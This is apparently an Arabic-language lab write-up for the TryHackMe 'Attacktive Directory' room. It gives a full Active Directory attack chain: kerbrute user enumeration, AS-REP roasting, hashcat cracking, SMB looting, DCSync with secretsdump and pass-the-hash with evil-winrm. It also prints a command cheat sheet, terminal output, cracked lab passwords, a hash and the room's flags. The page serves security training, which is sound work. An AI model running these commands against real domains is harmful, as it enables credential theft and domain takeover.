Lab: Attacktive Directory | STY IT Labs
STY IT Labs · TryHackMe · Active Directory

Lab: Attacktive Directory
AS-REP Roast → Kerberoast → DCSync

لاب Active Directory كلاسيكي بيورّيك السلسلة الكاملة اللي بتتكرر في اختبارات الاختراق الحقيقية: تعداد يوزرات عبر Kerberos، AS-REP Roasting من غير أي Authentication، فك تشفير ملف مُرفّع على مشاركة SMB، وفي الآخر استخدام صلاحية Replication عشان تسحب كل الـ NTDS.DIT وتوصل لـ Administrator كامل الصلاحيات.

Hard Difficulty spookysec.local AS-REP Roasting DCSync Impacket
KRBTGT / DC01 AS-REP ROAST DCSYNC → ADMIN AD
Hard
90 دقيقة
3 Flags
svc-admin · backup · Administrator
TryHackMe
Windows Server (AD DC)

عن اللاب

spookysec.local
Domain Controller (THM-AD)
Kerberos · LDAP · SMB
svc-admin
AS-REP Roastable
Pre-Authentication مُعطّلة
backup
Replication Rights
يملك صلاحية DCSync

Attacktive Directory لاب بيحاكي بيئة Active Directory حقيقية بالكامل: السيرفر اسمه DC01 على دومين spookysec.local، وبنمشي عليه بنفس منهجية الهجوم على AD من أول نقطة للصفر — من غير أي Credentials — لحد ما نوصل لصلاحيات Domain Administrator كاملة. اللاب بيربط بين تعداد Kerberos، ضعف Pre-Authentication، وسوء استخدام صلاحيات الـ Replication (DCSync) اللي بتدّي أي حساب يملكها قدرة على سحب كل هاشات الدومين.

القاعدة الذهبية هنا: AS-REP Roasting بيشتغل من غير أي اعتماديات على أي يوزر معطّل عنده Kerberos Pre-Authentication — ده أول حاجة لازم تفحصها في أي بيئة AD.

Attacktive Directory Badge

إتقان سلسلة هجوم AD كاملة من Enumeration لحد DCSync

مسار الهجوم — من الفحص لحد Domain Admin

1

فحص الخدمات وتعداد SMB

Nmap بيكشف Kerberos (88)، LDAP (389)، SMB (445) — مؤشر واضح على Domain Controller. enum4linux بيكشف اسم الدومين NetBIOS “THM-AD” والدومين الكامل spookysec.local.

nmap -sV -sCenum4linux
2

تعداد اليوزرات عبر Kerberos

استخدام kerbrute عشان نعمل Brute-force على اسماء يوزرات محتملة ضد خدمة Kerberos — من غير ما نسجل أي محاولة دخول فاشلة في الـ Event Logs العادية. بيطلع لنا svc-admin وbackup.

kerbrute userenumsvc-admin / backup
3

AS-REP Roasting (من غير Auth)

svc-admin عنده Kerberos Pre-Authentication معطّلة — Impacket’s GetNPUsers.py بيطلب TGT من غير أي كلمة سر وبيرجع هاش $krb5asrep$23$ قابل للكراك Offline.

GetNPUsers.py -no-passkrb5asrep hash
4

كراك الهاش بـ Hashcat

هاشكات mode 18200 (Kerberos 5 AS-REP etype 23) مع rockyou.txt بيكسر الهاش في ثواني ويطلّع كلمة سر svc-admin.

hashcat -m 18200management2005
5

تعداد SMB بصلاحيات svc-admin

smbclient بيكشف مشاركة “backup” فيها ملف نصي — فتحه بيطلّع نص base64 مُشفّر فك تشفيره بيدّي كريدنشيلز backup.

smbclient //DC01/backupbase64 → backup2517860
6

DCSync → Domain Admin 🏆

حساب backup عنده صلاحية Replicating Directory Changes (زي حساب Domain Controller فعلياً). secretsdump.py بيستخدم بروتوكول DRSUAPI عشان يسحب NTDS.DIT كامل — هاش Administrator بيتستخدم مباشرة في Pass-the-Hash عبر evil-winrm.

secretsdump.py -just-dcevil-winrm -H <NTLM>Domain Admin 🏆

مراحل اللاب

Recon
Kerberos Enum
AS-REP Roast
SMB Loot
DCSync → Admin 🏆

Commands Cheat Sheet

الأمرالوصفالمرحلة
nmap -sV -sC -oN nmap.out <DC-IP>فحص البورتات وكشف خدمات ADScan
enum4linux <DC-IP>تعداد SMB واسم الدومين NetBIOSEnum
kerbrute userenum -dc <DC-IP> -d spookysec.local userlist.txtتعداد يوزرات صحيحة عبر KerberosEnum
GetNPUsers.py -no-pass -usersfile users.txt -dc-ip <DC-IP> spookysec.local/AS-REP Roasting للحسابات المعطّلة Pre-AuthRoast
hashcat -m 18200 hash.txt rockyou.txtكراك هاش AS-REP OfflineCrack
smbclient //<DC-IP>/backup -U svc-adminتصفح مشاركة backup وسحب ملف الكريدنشيلزLoot
secretsdump.py -just-dc spookysec.local/backup:’backup2517860’@<DC-IP>DCSync — سحب كل هاشات الدومينDCSync
evil-winrm -i <DC-IP> -u Administrator -H <NTLM-hash>Pass-the-Hash للدخول كـ Domain AdminPtH

المهام والأسئلة

Task 1 — فحص Nmap وSMB

اكتشاف Kerberos/LDAP/SMB واسم الدومين spookysec.local

Recon
02

Task 2 — تعداد اليوزرات وAS-REP Roasting

kerbrute + GetNPUsers.py على svc-admin

Roast
03

Task 3 — svc-admin Flag

Desktop\user.txt — TryHackMe{K3rb3r0s_Pr3_4uth}

Flag 1 ✓
04

Task 4 — backup Flag

مشاركة SMB + فك base64 — TryHackMe{B4ckM3UpSc0tty!}

Flag 2 ✓
05

Task 5 — Administrator Flag 🏆

DCSync → Pass-the-Hash — TryHackMe{4ctiveD1rectoryM4st3r}

Admin 🏆
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — من الفحص لحد Domain Admin

root@kali — Attacktive Directory (spookysec.local)
# Phase 1 — Recon + Kerberos Enum
└─# nmap -sV -sC -oN nmap.out $DC_IP
88/tcp open kerberos-sec
389/tcp open ldap
445/tcp open microsoft-ds (domain: THM-AD)
└─# ./kerbrute_linux_amd64 userenum -dc $DC_IP -d spookysec.local userlist.txt
[+] VALID USERNAME: svc-admin@spookysec.local
[+] VALID USERNAME: backup@spookysec.local

# Phase 2 — AS-REP Roasting + Crack
└─# python GetNPUsers.py -no-pass -usersfile users.txt -dc-ip $DC_IP spookysec.local/
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:a1b2c3…
└─# hashcat -m 18200 hash.txt rockyou.txt
$krb5asrep$23$svc-admin…:management2005

# Phase 3 — SMB Loot
└─# smbclient //$DC_IP/backup -U svc-admin
smb: \> get backup_credentials.txt
└─# cat backup_credentials.txt | base64 -d
backup@spookysec.local:backup2517860

# Phase 4 — DCSync + Pass-the-Hash
└─# secretsdump.py -just-dc spookysec.local/backup:’backup2517860’@$DC_IP
Administrator:500:aad3b435…:0e0363213e37b94221497260b0bcb4fc:::
└─# evil-winrm -i $DC_IP -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
*Evil-WinRM* PS C:\Users\Administrator\Desktop> whoami
spookysec\administrator
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type flag.txt
TryHackMe{4ctiveD1rectoryM4st3r} 🏆

└─#

المهارات المكتسبة

Active Directory Enumeration
Kerberos User Enumeration
AS-REP Roasting
Offline Hash Cracking
SMB Credential Hunting
DCSync / Replication Abuse
Pass-the-Hash

الأدوات المستخدمة

Nmap + enum4linuxكشف خدمات AD واسم الدومين NetBIOS
Kerbruteتعداد يوزرات صحيحة من غير تسجيل Failed Logins
Impacket (GetNPUsers / secretsdump)AS-REP Roasting وDCSync لسحب NTDS.DIT
Hashcatكراك هاش Kerberos AS-REP (mode 18200) Offline
Evil-WinRMPass-the-Hash للدخول كـ Domain Administrator
الدرس الحقيقي هنا: صلاحية Replication (DCSync) من المفروض تتدّى لحسابات Domain Controllers بس — لو أي حساب عادي زي “backup” عنده الصلاحية دي، بقى هو فعلياً Domain Admin من غير ما حد يحس.